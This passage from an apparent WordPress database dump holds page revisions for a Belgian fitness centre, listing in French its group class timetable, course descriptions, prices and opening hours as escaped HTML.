:&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:39:35', '2013-07-03 17:39:35', '', 11, 'http://www.crosstrainingcenter.be/?p=191', 0, 'revision', '', 0),
(192, 1, '2013-07-03 17:39:50', '2013-07-03 17:39:50', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:39:50', '2013-07-03 17:39:50', '', 11, 'http://www.crosstrainingcenter.be/?p=192', 0, 'revision', '', 0),
(193, 1, '2013-07-03 17:40:05', '2013-07-03 17:40:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 